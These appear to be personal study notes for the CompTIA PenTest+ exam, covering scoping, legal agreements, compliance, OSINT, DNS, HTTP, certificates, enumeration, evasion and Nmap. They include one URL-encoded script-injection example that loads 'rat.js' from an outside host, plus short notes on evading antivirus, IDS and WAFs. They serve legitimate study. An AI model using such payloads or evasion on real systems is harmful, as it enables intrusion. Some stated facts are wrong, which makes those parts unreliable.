CompTIA Pentest+

planning & scoping - 14%
info gathering & vuln scanning - 22%
attack & exploits - 30%
reporting & communication - 18%
tools & code analysis - 16%

165 min, 90 questions


risk management:
- Risk = Threat + Vulnerability
- inherent risk:
		- risk that exists in absense of controls
		- imact + likelihood 
		- always some inherent risk
- residual risk:
		- risk after implementing controls
		- inherent risk + control effectiveness
- risk exception: 
	- created risk due to exception in or failure to comply with corporate policy

- risk avoidance:
	- eliminate hazards
- risk transfer:
	- 3rd party handles risk
- risk mitigation:
	- minimizes risk
- risk acceptance:
	- when cost of other options are too high
- risk appetite/attitude/tolerance:
	- how much risk before changing something

access control:
- compensative:
	- used in place of primary access control to mitigate risk
- corrective:
	- reduce effect of attack
- detective:
	- detects and alerts 
- deterrent:
	- discourages attacks
- directive:
	- rules
	- AUP (Acceptable Use Policy)
- preventive:
	- prevent attacks
	- good passwords, etc...
- recovery:
	- disaster recovery plans, etc...

- admin/managerial control:
	- security awareness training
- logical/technical controls:
	- firewalls, monitoring, etc...
- physical controls:
	- locks, etc...

Methodology:
- CompTIA phases:
	1) planning & scoping
	2) info gather/vuln scanning
	3) attacks/exploits
	4) reporting/communicating
- MITRE ATT&CK:
	- attack.mitre.org
	- shows all attacks and how to mitigate them

Pentest Standards:
	- OWASP
		- web application security
		- open source
		- OWASP top 10:
			- most critical security risks and how to prevent them
	- OSSTMM
		- how to audit/pentest
		- open source
		- outdated
	- ISSAF
		- links pentesting steps with tools
		- comprehensive guide to pentest
		- outdated
	- PTES
		- cover everything related to pentest (not only attacks)
		- outdated

Planning:
	- 3 factors:
		- time 
		- cost 
		- quality 
	- speak with company for scope, contacts, etc...
	- pentest is a snapshot of current security posture

Legal Concepts:
	- statement of work (SOW): 
		- specifies scope, permission to pentest, pay schedule, misc.
		- standalone document OR part of MSA
	- MSA (Master Service Agreement): 
		- contract used to quickly negotiate work
		- good for reocurring pentests
		- most things are agreed to here if used
	- SLA (Service Level Agreement):
		- expectation of or constraint for mim/max performance of pentest
		- used for Security as a Service a lot
	- NDA (Non Disclosure Agreement)
		- Unilateral: one party discloses info to another which is protected
		- Bilateral: two-way disclosure of sensitive info
		- Multilateral: multiple parties disclose info that's protected
		- both company and pentester should use NDA 

Regulatory Compliance:
	- PCI DSS:
		- standard, not regulation
		- created by credit card companies
		- vulnerability scans every 90 days required
		- companies must follow standards if storing credit card info
			1) create and maintain secure infrastructure using dedicated appliances and software
			2) employ best practices, change default passwords, train users
			3) continually monitor for vulnerabilities 
			4) provide strong access control mechanisms utilizing least privilege
		- security levels:
			- Level 1: over 6 million transactions / year
				- use internal auditor to be compliant (ISA)
				- require external auditor
					- QSA (Qualified Security Assessor)
				- must complete ROC (Report On Compliance)
					- details security posture, protections, etc...
			- Level 2: 1-6 million transactions / year
				- no external QSA required
			- Level 3: 20,000 - 1M transactions / year
			- Level 4: under 20,000 transactions / year

	- GDPR:
		- EU personal data protection
			- must have permission for each piece of info taken
			- right to be forgotten
		- applies globally to all companies that have business in EU
		- www.gdpr.eu
	- HIPAA: personal health info
	- SOX: publically traded US corps
	- GLBA: financial institutions, protect PII
	- FISMA: federal agencies only
	- Federal privacy act: only applies to federal agencies
	- FERPA: privacy of student education records
	- COPPA: children privacy, no data collection under 13



Scope:
- objectives
- vpn, cloud, wireless
- api, web/mobile apps


Threat Actors:
	- Skript Kiddie:
		- uses premade tools, least understanding
	- Insider Threat:
		- current or former employee
	- Competitor:
		- rogue business, espionage
	- Organized Crime:
		- monetary gain, well-funded, using any technique to make money!
	- Hacktivists:
		- politically motivated, making a point or promoting a belief
	- State-sponsired Attackers:
		- APT (Advanced Persistent Threat)
		- well funded, best tools, long-term attacks
		- False Flag attack: make one state think another attacked
			- framing another country/group

	- Categories:
		Tier 1) little money, standard tools		
		Tier 2) little money, specialized tools
		Tier 3) lots of money, for profit
		Tier 4) lots of money, creating tools 
		Tier 5) lots of money, creating vulnerabilities and exploits
		Tier 6) a ton of money, military, etc...


Target List:
- internal/external:
	- inside firewall vs outside of protected network
- 1st / 3rd party providers:
	- can you attack the cloud portion?
- physical pentest?
- on-site vs off-site assets: 
	- data centers located away from HQ for ex (data center in Italy for example)
- which SSIDs?
- which IP ranges
- DNS
- ASN (Autonomous System Number): defines group of IP prefixes run by network
- Domains/Subdomains
- APIs


scope creep:
- when company wants more to be tested than was agreed upon
- document change to SOW


ROE (Rules of Engagement):
- timeline
	- when test occurs and how long
	- incl date and time for each attack
- locations
	- onsite/offsite?
	- how many locations?
	- know laws of countries that location is in
- time restrictions
	- can have no tests at certain times (ex: high network load)
- transparency
	- who in organization will know about the pentest
	- trusted agent: the member of the organization who knows about the tests
		- can provide resources for known environment tests
- boundaries
	- what is allowed to use
	- social engineering allowed?


Pentest Assessment Types:
- Goals-based: 
	- specific goal in mind
	- pentester finds as many ways as possible to achieve
	- doesn't matter how they acheive
- Objectives-based: 
	- pentester ensures information is secure from as many sides as possible
- Compliance-based:
	- regulations being followed properly
- Premerger:
	- acquiring company has a third party pentest done on other company
- Supply chain:
	- assess security posture of company before including them in the supply chain
- Red team:
	- internal pentesters

- unknown/known/partial-known environment tests
- allowed list / excluded list:
	- which assets are authorized
- security exceptions:
	- may have to ask to be granted a signed certificate or be allowed past firewall
- certificate pinning:
	- devices signed with digital certificate
	- only these devices can access network


- If an indicator of compromise is found during a pentest, report immediately!
	- evidence of a real attacker



Passive Reconnaisance
- Info gathering
	- aka footprinting/reconnaisance
	- passive means not directly interacting with company
	- make a spreadsheet of all info you find

- OSINT
	- Metagoofil: 
		- search metadata of public docs on target website
		- relies on python
		- multiplatform
		- LUI
	- The Harvester: 
		- gather emails, subdomains, hosts, employee names, PGP keys, open ports, etc...
		- LUI
	- ReconNg: 
		- system of modules to add features 
		- more useful than The Harvester
		- relies on python 
		- multiplatform
		- LUI
	- FOCA: 
		- find metadata and hidden info in collected docs from a company
		- either saved docs or use addon for web search like Metagoofil
		- GUI
		- NO LINUX COMPATABILITY
	- Shodan: 
		- search engine for security risks
		- finds everything insecure
		- great for IoT vulnerabilities
		- GUI
	- Censys: 
		- search engine for finding hosts and networks across internet with config data
		- GUI
	- Maltego:
		- commercial software for OSINT
		- visually map out everything
		- automate public source queries and compare to other sources
		- like a cork board for police case

- Social media scraping
	- start with the company's social media accounts
	- linkedin

- DNS info
	- A: domain to IPv4 address
	- AAAA: domain to IPv6 address
	- PTR: IP to domain
	- CNAME: domain to another domain/subdomain
	- MX: direct email to mail server
	- SOA: stores info about zone (who is responsible for domain)
	- TXT: adds text to DNS
	- SRV: specifies host and port for a specific service
	- NS: which DNS name server for the domain (Godaddy, etc...)

	- Tools to Query DNS:
		- nslookup
		- dig
		- host
		- whois
			- lots of info
			- registrar name and email
			- status of domain
			- name servers being used by domain
				- can do a zone transfer to local machine for offline analysis (active recon)

- CentralOps
	- centralops.net
	- browser based tool
	- can find:
		- domain dossier
		- email dossier
		- owner of domain
		- technical contacts
		- technical details
		- network ranges

- Public repositories
	- github, bitbucket, sourceforge
	- look for API keys directly in code
	- Website archives!
		- wayback.org
		- archive.org
		- find deleted things that were sensitive 
	- upload pictures to find info

- Search engine analysis
	- google hacking: OSINT technique using google search to locate vuln servers/apps
	- advanced searches
		- GHDB (Google Hacking DataBase):
			- provides database of search strings optimized for finding vuln websites/services
			- maintained by Offensive Security
			- uses Google Dorks
		- "Jason Dion" vs Jason Dion --> search together or each separate
		- NOT operator: removes things from search
			- ex: "site:diontraining.com -site:sales.diontraining.com financial." 
				- google results matching "financial" in diontraining.com but nothing from sales.diontraining.com
		- AND/OR operators: Jason AND Dion
		- filetype:pdf Jaon Dion
		- URL Modifiers:
			- &pws=0	--> no personalized results
			- &filter=0	--> no filters
			- &tbs=li:1	--> no autocorrect search terms

- URL Analysis:
	- HTTP methods:
		- set of request methods indicating what to be performed for a resource
			- Request contains:
				- method, resource, version number, header, body of request
		- GET: retreive data from server
		- POST: send data to server for processing
		- PUT: creates/replaces resource
		- DELETE: remove resource
		- HEAD: retreives headers for resource, ignores body

		- ? before method
		- Query parameters: "name=value&address=value"
			- key-value pairs
		- # indicates fragment/anchor-ID, not processed by webserver
	- HTTP response codes:
		- header value returned by server when client requests URL
		- 200 = GET/POST success
		- 201 = PUT success
		- 3xx = redirect
		- 4xx = error
			- 400 = request couldn't be parsed by server
			- 401 = request didn't supply authentication credentials
			- 403 = request doesn't have sufficient permissions
			- 404 = request non-existent resource
		-5xx = server-side issue
			- 500 = general error on server
			- 502 = bad gateway
			- 503 = server overload
			- 504 = gateway timeout
		* these codes not on test but important
	- URL encoding:
		- URL cannot contain unsafe characters (that will break things)
		- reserved characters = special chars that have meaning in URL
		- unreserved characters = normal letters/numbers, etc...
		- Percent Encoding:
			- allows user to submit unsafe character or binary to server in URL
			- can be used for directory traversal, submitting malicious input 
			- double encoding: encode the percent sign too!
				- tricky attack method
		- ex: http://diontraining.com/upload.php?post=%3Cscript%3E%27http%3A%2F%2Fabc123.com%2Frat%2Ejs
			- %3C = less than sign '<'
			- %3E = greater than sign '>'
			- %3Cscript%3E = script --> calling a script
			- %27http%3A%2F%2Fabc123.com%2Frat%2Ejs = 'http://abc123.com/rat.JS'
			- Total = http://diontraining.com/upload.php?post=script'http://abc123.com/rat.JS
				- Upload malicious js script
		** on exam
		
- Cryptographic flaws
	- checking CA certificates to see version of SSL/TLS
		- SAN field: allows use of certificate with other domains too
			- multidomain certificate
			- look at this field in the CA cert for other domains to attack
		- wildcard certificate: supports subdomains
			- *.diontraining.com
			- costs more than single domain certificate
			- look at this field in the CA cert for other domains to attack
		- CRL: list of all revoked certificates by that CA
			- client browser looks through all of them to make sure site is good
			- when expired or compromised, added to CRL
		- OCSP: check revocation status of cert using its unique serial number
			- client browser checks OCSP
			- faster, easier
			- alternative to checking CRL
		- Certificate Pinning:
			- server side trust certificates that bypass CA chain of trust
			- not secure, someone can inject a fake certificate
			- not used anymore, deprecated
		- Certificate Stapling:
			- web server performs certificate status check (instead of browser)
			- client browser doesn't have to request OCSP or CRL, therefore faster 
		- HSTS:
			- webserver notifies client browser to only request site with https, not http
			- some providers just redirect http to https version of the site instead of using HSTS
				- not as secure, can be exploited
			- over 100,000 sites listed that should not be able to be accessed via http
	- cipher suite:
		- defines algo supported by client and server when requesting to use encryption/hashing
		- TLS 1.2 cipher suite = ECDHE_RSA_AES128_GCM_SHA256
			- ECDHE = eliptic curve diffie helman exchange
			- RSA = digital signature
		- if using outdated browser, website might downgrade security to be compatible
		- ssllabs.com --> show cipher suite for a site

CVE & CWE:
	- CERT (Computer Emergency Response Team): cia.gov/uscert
		- US fed gov maintained site
		- CVE alerts
	- JPCERT (Japanese version of CERT): jpcert.or.jp
		- similar to CERT
	- NVD (National Vulnerability Database): nvd.nist.gov
		- maintained by NIST
		- lists CVEs with date and security risk
	- CVE (Common Vulnerabilities & Exposures): 
		- cve.org --> all CVEs
			- every company submits their vulnerabilities to this database
	- CWE (Common Weakness Enumeration):
		- cwe.mitre.org
			- community maintained list of CWEs
			- not vulnerabilities for a specific product & version. These are more common accross all software
	- CAPEC (Common Attack Pattern Enumeration Classifications)
		- capec.mitre.org
			- understand attack patterns for a particular attack
	- Full Disclosure:
		- NMap maintained list of CVEs & CWEs
	* useful when you need to find vulnerabilities on the tech that you are hacking




Active Reconnaissance:
- interacting with target

Scanning & Enumeration:
- finding hosts, open ports, URLs, domain names, services, users
- discovery scan:
	- ping scan
	- port scan
	- enumeration
	* Nmap
	* Zenmap (GUI)
- fingerprinting: 
	- find OS, services, software versions on a host
	- banner grabbing: 
		- Netcat, wget, telnet, hping
		- Zenmap, Nmap, Metasploit (easier)
		- sending modified banners to determine things
- Tier of detail:
	1) scanning
	2) enumeration
	3) fingerprinting

Conducting Enumeration:
- use Zenmap!

Other Enumeration:
- 5 key areas:
	- hosts
		- enumerating windows:
			- net command (windows) --> net /?
			- arp command (windows) --> arp -a
			- ipconfig (windows) --> ipconfig /displaydns
		- enumerating Linux:
			- finger (see users and some info)
			- uname -a (OS version, name, etc...)
			- env (environmental variables)
	- services
		- Nmap
	- domains
		- active directory domains, not website domains
		- AD (Active Directory):
			- Kerberos Auth
			- first domain = root domain
				- child domains trust root domain
			- OU (Organizational Units): group objects in a domain
	- users
		- Get-NetGroupMember (powershell) --> list domain members belonging to group
		- net user (cmd) --> list all users
		- net group (cmd) --> list all groups
	- URLs
		- nmap --script=http-enum 

Website Reconnaissance:
	- software, OS, hosting, resources, hidden info
	- build with programmers, page builder, CMS (Content Management System)
	- CMS example = wordpress, shopify, etc...
		- well known attacks
	- for plain html/css stes, must use xml, sql injections, etc...
	- find every page: 
		- website crawling / forced browsing
		- robots.txt file shows which URLs should and shouldn't be looked at by bots like google
			- some robots don't care
		- DirBuster:
			- OWASP tool to find every file, directory and all data
			- tests all combinations of letters/words, etc...
	- web scraping, web harvesting, web data extraction:
		- extract data from website with automation or manually
		- CeWL (Custom Word List generator):
			- crawl URL to specified depth & return list of words to use with password cracker
			- show all emails found
			- cewl -d 1 -m 6 -w wordlist.txt https://diontraining.com
				- scrape diontraining.com to 1 directory lower than the URL given
				- put all words 6 characters or larger into wordlist.txt

Detecting & Evading Defenses:
- load balancers: 
	- can cause trouble when enumerating
	- how to tell if in use:
		- get different responses based on which server is replying to you 
		- LBD (Load Balancing Detector):
			- lbd diontraining.com
				- shows if there is a load balancer

- firewall: 
	- how to tell if in use:
		- traceroute showing * instead of IP hop means firewall
	- how to evade:
		- firewalk: determine which layer 4 protocols are allowed
			- map out ACL rules
			- sends TCP/UDP packets with TTL 1 higher than targeted gateway

- web app firewall: 
	- how to tell if in use:
		- personalized cookies in HTTP packets
		- header alterations
		- WAF notifications
	- how to evade:
		- obfuscation to confuse WAF

- antivirus: 
	- how to evade:
		- metamorphic virus: changes as it propogates around computer
			- most antivirus software uses Digital Signatures
			- changing/jumbling code changes signature
		- signature obfuscation:
			- allows to change code once
		- fileless malware:
			- running a script
		- encryption:
			- signature can't be seen because file is encrypted
			- process injection / process hollowing

Packet Crafting:
- changing packets to test things
- stages:
	1) assemble: create packet
	2) edit: modify created packet
	3) play: send/resend packet to network
	4) decode: capture/analyze traffic generated by sent packet
- 2 tools:
	- hping (command line tool):
		- open source spoofing tool
		- craft packets to exploit vuln firewalls & IDS/IPS
		- Abilities:
			- host/port detection & firewall testing
			- timestamping
				- system uptime
				- if server has been up for a year, probably hasn't been updated, need reboot
			- traceroute
			- fragmentation
				- fragment packets to sneak through
			- DoS
	- scapy (script)
		- packet manipulation/generator
		- network scanner/discovery
		- packet sniffer
		- commands:
			- scapy3 -h
		- using scapy NOT on exam

Eavesdropping:
	- social eng / tech (collecting data)
	- capturing cellphone com., packet sniffing (all data over wifi)
	- Wireshark
	- TCPDump
	- must place network card into Promiscuous mode to scan traffic
		- writes packets into PCAP file
		- protocol analyzer (wireshard/tcpdump) will analyze
		- passive reconnaissance to collect, nobody knows you're taking info
		- active recon to install a system that can do this
		- usually traffic captured is encrypted
			- even if encrypted, can use for metadata (protocols used, source/dest/ports, data volume)
			- flow analysis:
				- netflow tool
				- highlights trends and patterns in network traffic
		- for wired networks, must connect to SPAN/mirrored port to see all traffic

Wardriving:
	- find wireless APs to hack by walking/driving around
	- wigle.net
		- public wardriver OSINT of APs
	- antenna for wardriving:
		- dBi (Decibels Per Isotropic):
			- measures strength of antenna
			- 1 is weak, 9 is strong, etc...
		- Direction
			- unidirectional
				- best for wardriving
				- 9dBi can allow you to sit accross the street and still access building
			- bidirectional
			- omnidirectional
				- most wireless cards
				- less distance even with higher dBi because radiates equally in all directions
				- best for initially finding APs, see all directions
		- SNR (Signal Noise Ratio):
			- how strong signal is relative to background noise
			- low number = low signal, high noise
		- can also capture satellite/microwave data being send to ISP



Vulnerability Scanning
- assessing devices/apps/network for known weaknesses
	- attack surface = all the places vulnerabilities can exist
		- closing ports will reduce attack surface

Vulnerability Lifecycle:
- vulnerabililty: any weakness in a system
- 5 step process:
	1) discover
		- id vulnerability
		- create exploit
	2) coordinate
		- report vulnerability
		- generate CVE
	3) mitigate
		- release CVE
		- create patch
	4) manage
		- deploy patch
		- test system
	5) document
		- record results
		- lessons learned
- risk gap:
	- when a CVE is released without a patch being put out
	- 5-10% of systems still have unmittigated CVEs

Vulnerability Scans:
- credentialed scan:
	- using admin user/passwd to get more detailed info
- non-credentialed scan:
	- outside attacker without admin priv
- types of scans:
	- discovery scans:
		- least intrusive
		- learn about the network topology
		- ping sweep
	- full vulnerability scans:
		- more in depth
		- easy to detect for defenders
	- stealth scans:
		- send syn packet, receive syn/ack packet, send rst packet
		- never finish 3-way handshake, not logged by server
			- some IPS/IDS will detect
		- tips for evading IDS/IPS:
			- slow down scans
			- break into individual scans
			- mask true source (tor)
	- compliance scans:
		- PCI DSS
		- HIPAA
- Tools:
	- openvas, nessus, qualysguard, nexpose, nmap

Scanning Considerations:
- considerations to minimize effects to organization:
	- time
		- when to conduct scan?
	- protocols
		- which ports to scan? 
	- network topology
		- where to scan from? inside/outside firewall?
	- bandwidth limitations
		- don't accidentally DoS
	- query throttling
		- reduce number of queries launched by scanner at a given time
	- fragile systems
		- SCADA/ICS for example



Nmap

Nmap Discovery Scans:
- footprinting
- nmap 
	- ex: nmap 192.168.1.0/24
- Default Scan: 
	- ping and send TCP ack packets to ports 80 & 443 on all hosts
	- port scan all ports
	- not stealthy
- Ping Scan / Host Discovery Scan:
	- nmap -sn 192.168.1.0/24
		- finds all hosts
		- doesn't scan ports
- List Scan:
	- nmap -sl
		- lists IP addresses from supplied target ranges and perform reverse-DNS query to find hostnames for the IPs
		- like DNS lookup
- TCP SYN Ping:
	- nmap -PS
		- probes specific ports from list using SYN packets instead of ICMP to conduct ping
		- some networks block ICMP, this will evade protection
- Sparse Scanning:
	- nmap --scan-delay